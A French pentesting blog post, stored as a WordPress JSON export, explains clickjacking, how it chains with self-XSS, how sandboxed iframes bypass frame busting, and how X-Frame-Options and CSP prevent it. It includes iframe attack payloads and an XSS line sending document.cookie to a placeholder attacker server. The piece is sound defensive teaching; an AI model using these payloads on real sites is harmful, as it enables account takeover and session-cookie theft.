{"id":12758,"date":"2025-02-19T10:13:19","date_gmt":"2025-02-19T09:13:19","guid":{"rendered":"https:\/\/www.vaadata.com\/blog\/?p=12758"},"modified":"2025-02-19T10:13:22","modified_gmt":"2025-02-19T09:13:22","slug":"clickjacking-principes-exploitations-et-bonnes-pratiques-securite","status":"publish","type":"post","link":"https:\/\/www.vaadata.com\/blog\/fr\/clickjacking-principes-exploitations-et-bonnes-pratiques-securite\/","title":{"rendered":"Clickjacking\u00a0: principes, exploitations et bonnes pratiques s\u00e9curit\u00e9"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"535\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-1024x535.png\" alt=\"Clickjacking\u00a0: principes, exploitations et bonnes pratiques s\u00e9curit\u00e9\" class=\"wp-image-12759\" style=\"width:422px;height:auto\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-1024x535.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-300x157.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-1536x803.png 1536w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p>Le clickjacking est une technique d\u2019attaque discr\u00e8te mais redoutable. Elle exploite l\u2019interface utilisateur pour pi\u00e9ger les victimes en les poussant \u00e0 interagir avec des \u00e9l\u00e9ments invisibles ou d\u00e9guis\u00e9s. <\/p>\n\n\n\n<p>Un simple clic peut ainsi entra\u00eener des actions non souhait\u00e9es : modification de param\u00e8tres, vol de compte, ou ex\u00e9cution d\u2019un script malveillant.<\/p>\n\n\n\n<!--more-->\n\n\n\n<p>Dans cet article, nous reviendrons sur les principes du clickjacking. Nous verrons \u00e9galement des exemples d\u2019exploitation ainsi que les bonnes pratiques s\u00e9curit\u00e9 pour pr\u00e9venir le clickjacking.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Guide complet sur le clickjacking<\/h2>\n\n\n<div class=\"wp-block-aioseo-table-of-contents\"><ul><li><a class=\"aioseo-toc-item\" href=\"#quest-ce-que-le-clickjacking\">Qu\u2019est-ce que le clickjacking ?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#exemple-dattaque-clickjacking-menant-au-vol-de-compte\">Exemple d&#039;attaque clickjacking menant au vol de compte<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#transformer-des-self-xss-en-vulnerabilites-critiques-grace-au-clickjacking\">Transformer des self-XSS en vuln\u00e9rabilit\u00e9s critiques gr\u00e2ce au clickjacking<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#attaque-clickjacking-et-contournement-du-frame-busting\">Attaque clickjacking et contournement du frame busting<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#en-quoi-consiste-le-frame-busting\">En quoi consiste le frame busting ?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#contournement-du-frame-busting\">Contournement du frame busting<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#comment-prevenir-le-clickjacking\">Comment pr\u00e9venir le clickjacking ?<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#implementer-le-header-x-frame-options\">Impl\u00e9menter le header X-Frame-Options<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#proteger-vos-applications-avec-len-tete-content-security-policy-csp\">Prot\u00e9ger vos applications avec l&#039;en-t\u00eate Content-Security-Policy (CSP)<\/a><\/li><\/ul><\/li><\/ul><\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"quest-ce-que-le-clickjacking\">Qu\u2019est-ce que le clickjacking ?<\/h2>\n\n\n\n<p>Le clickjacking est une attaque qui trompe l\u2019utilisateur en lui faisant cliquer sur un \u00e9l\u00e9ment qu\u2019il ne voit pas. L\u2019attaquant superpose une page web pi\u00e9g\u00e9e \u00e0 un site l\u00e9gitime. L\u2019utilisateur pense interagir avec le site affich\u00e9, mais en r\u00e9alit\u00e9, il d\u00e9clenche des actions cach\u00e9es : modification de mot de passe, suppression de compte, ou autre action ind\u00e9sirable.<\/p>\n\n\n\n<p>Cette technique, apparue en 2008, a \u00e9t\u00e9 largement exploit\u00e9e dans les ann\u00e9es 2010. \u00c0 l\u2019\u00e9poque, elle servait surtout \u00e0 forcer les utilisateurs \u00e0 aimer ou partager du contenu via des publicit\u00e9s pi\u00e9g\u00e9es sur les r\u00e9seaux sociaux. Si de nombreuses plateformes ont corrig\u00e9 cette faille, certaines applications web restent encore vuln\u00e9rables.<\/p>\n\n\n\n<p>Le clickjacking est souvent sous-estim\u00e9. Il n\u00e9cessite des sc\u00e9narios d\u2019attaque sophistiqu\u00e9s qui peuvent sembler peu r\u00e9alistes. Pourtant, dans certains contextes, son exploitation peut avoir des cons\u00e9quences critiques.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"exemple-dattaque-clickjacking-menant-au-vol-de-compte\">Exemple d&rsquo;attaque clickjacking menant au vol de compte<\/h2>\n\n\n\n<p>Prenons le cas d\u2019une application avec une section profile ou il est possible de modifier son adresses email.<\/p>\n\n\n\n<p>La fonctionnalit\u00e9 est int\u00e9ressante puisque si un utilisateur malveillant contr\u00f4le l\u2019adresse email d\u2019un compte, il peut \u00eatre en capacit\u00e9 de prendre le contr\u00f4le du compte en changeant l\u2019adresse email et en faisant une demande de r\u00e9initialisation de mot de passe.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"532\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/app-profile-section-clickjacking-1024x532.png\" alt=\"\" class=\"wp-image-12771\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/app-profile-section-clickjacking-1024x532.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/app-profile-section-clickjacking-300x156.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/app-profile-section-clickjacking.png 1294w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Ici, les donn\u00e9es sont envoy\u00e9es en POST vers le serveur et n\u00e9cessitent de remplir le champ email. Dans notre cas il est n\u00e9cessaire de trouver un sc\u00e9nario pour faire pr\u00e9remplir \u00e0 l\u2019utilisateur les donn\u00e9es \u00e0 modifier. N\u00e9anmoins, convaincre un utilisateur d\u2019ajouter l\u2019email de l\u2019attaquant semble compliqu\u00e9.<\/p>\n\n\n\n<p>En examinant le code source, on constate que le site web int\u00e8gre du code JavaScript. Ce code r\u00e9cup\u00e8re la valeur du param\u00e8tre email contenu dans l\u2019url pour pr\u00e9remplir le champ email. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"1010\" height=\"806\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/app-javascript-code.png\" alt=\"\" class=\"wp-image-12773\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/app-javascript-code.png 1010w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/app-javascript-code-300x239.png 300w\" sizes=\"(max-width: 1010px) 100vw, 1010px\" \/><\/figure>\n\n\n\n<p>Dans ce contexte, on pourrait int\u00e9grer la page l\u00e9gitime dans un iframe avec l\u2019email de l\u2019attaquant dans le param\u00e8tre email. Ainsi, il ne resterait plus qu\u2019\u00e0 faire cliquer la personne cibl\u00e9e sur le bouton permettant de changer son email.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;iframe src=\"https:\/\/targeted_website\/edit_profile.php?email=hacker@hack.me\">&lt;\/iframe><\/code><\/pre>\n\n\n\n<p>Apr\u00e8s avoir construit la page leurre, on doit r\u00e9ussir \u00e0 superposer le faux bouton sur le bouton de la page l\u00e9gitime. Pour ce faire, on utilisera du CSS, en suivant une approche par t\u00e2tonnements et en jouant avec les propri\u00e9t\u00e9s permettant de d\u00e9terminer le positionnement (width et height).<\/p>\n\n\n\n<p>Pour cacher l\u2019iframe derri\u00e8re le faux bouton, on utilisera la propri\u00e9t\u00e9 <code>z-index<\/code> qu\u2019on r\u00e9glera \u00e0 2 pour l\u2019iframe du site l\u00e9gitime, et \u00e0 1 pour le site leurre.<\/p>\n\n\n\n<p>Enfin, on r\u00e9glera l\u2019opacity \u00e0 0 afin de rendre la page invisible aux yeux de la personne cibl\u00e9e.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\t        #Site web l\u00e9gitime {\n\t\t\tposition:relative;\n\t\t\twidth:128px;\n\t\t\theight:128px;\n\t\t\topacity:0;\n\t\t\tz-index:2;\n\t\t\t}\n\t\t#Site web leurre {\n\t\t\tposition:absolute;\n\t\t\twidth:300px;\n\t\t\theight:400px;\n\t\t\tz-index:1;\n\t\t\t}<\/code><\/pre>\n\n\n\n<p>On se retrouve avec le r\u00e9sultat suivant : <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"528\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-attack-1024x528.png\" alt=\"\" class=\"wp-image-12775\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-attack-1024x528.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-attack-300x155.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-attack.png 1295w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Si la personne cibl\u00e9e clique sur le bouton \u00ab\u00a0Claim your prize\u00a0!\u00a0\u00bb elle cliquera en fait sur le bouton permettant de modifier son adresse email et d\u00e9clenchera la requ\u00eate ci-dessous sur le serveur web cibl\u00e9. L&rsquo;attaquant n&rsquo;a alors plus qu&rsquo;\u00e0 r\u00e9initialiser le mot de passe pour prendre le contr\u00f4le du compte.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"217\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/request-after-clickjacking-1024x217.png\" alt=\"\" class=\"wp-image-12777\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/request-after-clickjacking-1024x217.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/request-after-clickjacking-300x64.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/request-after-clickjacking.png 1291w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"transformer-des-self-xss-en-vulnerabilites-critiques-grace-au-clickjacking\">Transformer des self-XSS en vuln\u00e9rabilit\u00e9s critiques gr\u00e2ce au clickjacking<\/h2>\n\n\n\n<p>La <strong>self-XSS<\/strong>, comme son nom l\u2019indique, est une vuln\u00e9rabilit\u00e9 o\u00f9 l\u2019utilisateur s\u2019injecte lui-m\u00eame du code JavaScript malveillant. En temps normal, son impact est nul et ces failles ne sont g\u00e9n\u00e9ralement pas consid\u00e9r\u00e9es comme des vuln\u00e9rabilit\u00e9s exploitables, car il n\u2019existe pas de sc\u00e9nario r\u00e9aliste dans lequel un utilisateur \u00e9crirait volontairement du code JavaScript pour se pi\u00e9ger lui-m\u00eame.<\/p>\n\n\n\n<p>Cependant, lorsqu\u2019elle est combin\u00e9e \u00e0 d\u2019autres vuln\u00e9rabilit\u00e9s, il devient possible d\u2019augmenter consid\u00e9rablement son impact. Ici, nous allons voir comment le clickjacking peut \u00eatre exploit\u00e9 comme un vecteur permettant de transformer une vuln\u00e9rabilit\u00e9 de type <strong>self-XSS<\/strong> en une faille critique.<\/p>\n\n\n\n<p>Prenons le cas d\u2019une application web o\u00f9 une vuln\u00e9rabilit\u00e9 de type Self-XSS a \u00e9t\u00e9 d\u00e9couverte dans un formulaire de feedback. La vuln\u00e9rabilit\u00e9 ne peut \u00eatre exploit\u00e9e que lorsque l&rsquo;utilisateur clique sur le bouton \u00ab Submit feedback \u00bb apr\u00e8s avoir rempli le champ \u00ab\u00a0name\u00a0\u00bb contenant le code JavaScript.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"526\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/web-app-example-1024x526.png\" alt=\"\" class=\"wp-image-12779\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/web-app-example-1024x526.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/web-app-example-300x154.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/web-app-example.png 1284w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>De la m\u00eame mani\u00e8re que pour le cas pr\u00e9c\u00e8dent, on peut pr\u00e9remplir les champs du formulaire depuis les param\u00e8tres contenus dans l\u2019URL et int\u00e9grer l\u2019application dans un iframe qui sera cach\u00e9 derri\u00e8re un site web leurre.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;iframe src=\"https:\/\/0aad00b40454a63ebcfaf34c00e100a4.web-security-academy.net\/feedback?name=&lt;img src=1 onerror=alert(document.domain)>&amp;email=hacker@attacker-website.com&amp;subject=test&amp;message=test#feedbackResult\">&lt;\/iframe><\/code><\/pre>\n\n\n\n<p>Lorsque l\u2019utilisateur clique sur le bouton \u00ab Test me \u00bb de la page frauduleuse, il active en r\u00e9alit\u00e9 le bouton du site l\u00e9gitime, ce qui d\u00e9clenche le code JavaScript.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"493\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-attack-self-xss-1024x493.png\" alt=\"\" class=\"wp-image-12781\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-attack-self-xss-1024x493.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-attack-self-xss-300x145.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/clickjacking-attack-self-xss.png 1287w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Un attaquant pourrait exploiter cette XSS de mani\u00e8re plus pouss\u00e9e en subtilisant les cookies de session de sa cible ou en r\u00e9alisant des actions compromettantes en son nom, comme modifier son adresse email.<\/p>\n\n\n\n<p>Par exemple, il pourrait utiliser le code suivant pour exfiltrer les cookies de la victime vers son propre serveur : <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;img src=\"x\"onerror=\"fetch('https:\/\/&#91;serveur_de_l\u2019attaquant]?cookie=' + document.cookie)\"><\/code><\/pre>\n\n\n\n<p>Il pourrait ensuite retrouver les cookies de la victime dans les logs de son serveur.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"200\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/retrieving-cookies-after-clickjacking-1024x200.png\" alt=\"\" class=\"wp-image-12783\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/retrieving-cookies-after-clickjacking-1024x200.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/retrieving-cookies-after-clickjacking-300x59.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/retrieving-cookies-after-clickjacking.png 1292w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"attaque-clickjacking-et-contournement-du-frame-busting\">Attaque clickjacking et contournement du frame busting<\/h2>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-e2ae7ee864dbaf24782aeef0bd899cc9\" id=\"en-quoi-consiste-le-frame-busting\" style=\"color:#c0b800\">En quoi consiste le frame busting ?<\/h3>\n\n\n\n<p>Pour contrer le clickjacking, les d\u00e9veloppeurs ont mis en place l&rsquo;utilisation de scripts de frame busting. Ces scripts sont con\u00e7us pour d\u00e9tecter et emp\u00eacher qu&rsquo;un site soit int\u00e9gr\u00e9 dans une iframe, garantissant ainsi qu&rsquo;il s&rsquo;affiche dans sa fen\u00eatre principale.<\/p>\n\n\n\n<p>Bien qu\u2019obsol\u00e8te aujourd\u2019hui et largement remplac\u00e9 par d\u2019autres solutions, on peut tout de m\u00eame continuer de trouver des sites qui utilisent cette technique de protection.<\/p>\n\n\n\n<p>Les scripts de <strong>frame busting<\/strong> peuvent r\u00e9aliser les actions suivantes :<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>V\u00e9rification de la fen\u00eatre principale<\/strong> : Le script s&rsquo;assure que le site web est charg\u00e9 dans la fen\u00eatre principale (ou \u00ab\u00a0top window\u00a0\u00bb) du navigateur. Si ce n&rsquo;est pas le cas, cela signifie que le site est dans une iframe, le script peut alors retourner une erreur rendant la navigation sur le site impossible.<\/li>\n\n\n\n<li><strong>Rendre toutes les frames visibles<\/strong> : Un autre objectif du script est de s&rsquo;assurer que toutes les frames sont visibles, ce qui emp\u00eache une iframe cach\u00e9e d&rsquo;ex\u00e9cuter des actions invisibles pour l&rsquo;utilisateur.<\/li>\n\n\n\n<li><strong>Pr\u00e9venir les clics sur les frames invisibles<\/strong> : Les scripts peuvent aussi interdire l&rsquo;interaction avec des frames invisibles.<\/li>\n\n\n\n<li><strong>Alerte de l&rsquo;utilisateur<\/strong> : Certains scripts vont au-del\u00e0 de la simple protection et vont alerter l&rsquo;utilisateur lorsqu&rsquo;une tentative de clickjacking est d\u00e9tect\u00e9e.<\/li>\n<\/ol>\n\n\n\n<p>Il existe cependant plusieurs m\u00e9thodes permettant de contourner le frame busting. <\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-0a3b54483cbfeb30ac416bcb90d94634\" id=\"contournement-du-frame-busting\" style=\"color:#c0b800\">Contournement du frame busting<\/h3>\n\n\n\n<p>Prenons l\u2019exemple d\u2019une application qui utiliserait le script suivant afin de se prot\u00e9ger contre le clickjacking.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script> if (top !== self) { window.addEventListener(\"DOMContentLoaded\", function() { document.body.innerHTML = 'This page cannot be framed'; }, false); } &lt;\/script><\/code><\/pre>\n\n\n\n<p>La condition <code>if (top !== self)<\/code> v\u00e9rifie si la page est affich\u00e9e dans un iframe plut\u00f4t qu&rsquo;en tant que fen\u00eatre principale. Si c&rsquo;est le cas, une fonction est ex\u00e9cut\u00e9e \u00e0 la fin du chargement (DOMContentLoaded), rempla\u00e7ant le contenu de la page par un message d\u2019erreur pour emp\u00eacher son utilisation.<\/p>\n\n\n\n<p>Ici, si un attaquant essaie de rendre la page web dans un iframe, il aura le message d\u2019erreur suivant. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"324\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/error-message-frame-busting-bypass-1024x324.png\" alt=\"\" class=\"wp-image-12785\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/error-message-frame-busting-bypass-1024x324.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/error-message-frame-busting-bypass-300x95.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/error-message-frame-busting-bypass.png 1294w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Afin de contourner ce script, il est possible d\u2019utiliser l\u2019attribut sandbox de la balise iframe. Si la valeur de l\u2019attribut est vide, cela permet d\u2019appliquer toutes les restrictions par d\u00e9faut. <\/p>\n\n\n\n<p>L\u2019une des restrictions enl\u00e8ve la possibilit\u00e9 \u00e0 l\u2019iframe d\u2019acc\u00e9der \u00e0 la propri\u00e9t\u00e9 JavaScript \u00ab\u00a0window.top\u00a0\u00bb qui est utilis\u00e9e ici pour savoir si le site web est dans un iframe.<\/p>\n\n\n\n<p>Cet attribut nous enl\u00e8ve aussi la possibilit\u00e9 d\u2019interagir avec les formulaires. Ainsi une personne cibl\u00e9e par une attaque de type clickjacking ne pourrait par exemple pas cliquer sur le bouton \u00ab\u00a0update email\u00a0\u00bb du formulaire ci-dessous.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"966\" height=\"424\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/impossible-to-clic.png\" alt=\"\" class=\"wp-image-12787\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/impossible-to-clic.png 966w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/02\/impossible-to-clic-300x132.png 300w\" sizes=\"(max-width: 966px) 100vw, 966px\" \/><\/figure>\n\n\n\n<p>C&rsquo;est en ajoutant la valeur \u00ab allow-forms \u00bb \u00e0 l&rsquo;attribut sandbox que nous pourrons interagir avec tous les formulaires dans une iframe. Cela permet ensuite de r\u00e9aliser une attaque de type clickjacking, similaire \u00e0 celles pr\u00e9sent\u00e9es dans les cas pr\u00e9c\u00e9dents.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"comment-prevenir-le-clickjacking\">Comment pr\u00e9venir le clickjacking ?<\/h2>\n\n\n\n<p>Pour se prot\u00e9ger contre ce type d&rsquo;attaque, les d\u00e9veloppeurs ont le choix entre deux en-t\u00eates&nbsp;: <strong>X-Frame-Options <\/strong>ou <strong>Content-Security-Policy<\/strong><\/p>\n\n\n\n<p>Pour mettre en place ces protections, vous devrez ajouter ces en-t\u00eates \u00e0 toutes les r\u00e9ponses http des pages que vous souhaitez prot\u00e9ger contre le Clickjacking.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-0da36118890196db4cb12e6efe10b256\" id=\"implementer-le-header-x-frame-options\" style=\"color:#c0b800\">Impl\u00e9menter le header X-Frame-Options<\/h3>\n\n\n\n<p>Il existe plusieurs directives \u00e0 l\u2019en-t\u00eate <strong><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\" target=\"_blank\" rel=\"noopener\" title=\"\">X-Frame-Options<\/a><\/strong>. Si vous sp\u00e9cifiez la directive <strong>DENY<\/strong>, non seulement le navigateur emp\u00eachera le chargement de la page dans un iframe lorsqu&rsquo;elle est int\u00e9gr\u00e9e depuis d&rsquo;autres sites, mais il bloquera \u00e9galement cette int\u00e9gration m\u00eame lorsqu&rsquo;elle provient du m\u00eame site.<\/p>\n\n\n\n<p>En revanche, si vous sp\u00e9cifiez <strong>SAMEORIGIN<\/strong>, la page pourra toujours \u00eatre affich\u00e9e dans un iframe, \u00e0 condition que le site qui l\u2019int\u00e8gre soit le m\u00eame que celui qui la sert.<\/p>\n\n\n\n<p>Il existe aussi la directive <strong>ALLOW-FROM <\/strong>qui permet d\u2019autoriser des domaines sp\u00e9cifiques, cependant <strong>elle est consid\u00e9r\u00e9e comme obsol\u00e8te<\/strong> parce qu\u2019elle n\u2019est plus prise en charge par les navigateurs moderne.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-e9212528609c83e1efb98515bcf6adb9\" id=\"proteger-vos-applications-avec-len-tete-content-security-policy-csp\" style=\"color:#c0b800\">Prot\u00e9ger vos applications avec l&rsquo;en-t\u00eate Content-Security-Policy (CSP)<\/h3>\n\n\n\n<p>Contrairement \u00e0 X-Frame-Options, la directive frame-ancestors de l\u2019en-t\u00eate <strong><a href=\"https:\/\/www.vaadata.com\/blog\/fr\/content-security-policy-csp-techniques-de-contournement-et-bonnes-pratiques-securite\/\" target=\"_blank\" rel=\"noopener\" title=\"\">Content-Security-Policy<\/a> <\/strong>offre un contr\u00f4le plus granulaire en permettant d\u2019autoriser plusieurs domaines sp\u00e9cifiques en plus de self. Par exemple :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Content-Security-Policy: frame-ancestors 'self' https:\/\/yourwebsite.com https:\/\/yourwebsite1.com;<\/code><\/pre>\n\n\n\n<p>Cette configuration autorise l\u2019int\u00e9gration de votre site uniquement sur votre propre domaine ainsi que sur <strong><code>yourwebsite.com<\/code> <\/strong>et <strong><code>yourwebsite1.com<\/code><\/strong>, emp\u00eachant toute inclusion non autoris\u00e9e ailleurs.<\/p>\n\n\n\n<p><strong>Auteur : Yacine DJABER &#8211; Pentester @Vaadata<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Le clickjacking est une technique d\u2019attaque discr\u00e8te mais redoutable. Elle exploite l\u2019interface utilisateur pour pi\u00e9ger les victimes en les poussant \u00e0 interagir avec des \u00e9l\u00e9ments invisibles ou d\u00e9guis\u00e9s. Un simple clic peut ainsi entra\u00eener des actions non souhait\u00e9es : modification de param\u00e8tres, vol de compte, ou ex\u00e9cution d\u2019un script malveillant.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":{"0":"post-12758","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-technique"},"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/12758","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/comments?post=12758"}],"version-history":[{"count":8,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/12758\/revisions"}],"predecessor-version":[{"id":12792,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/12758\/revisions\/12792"}],"wp:attachment":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/media?parent=12758"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/categories?post=12758"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/tags?post=12758"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}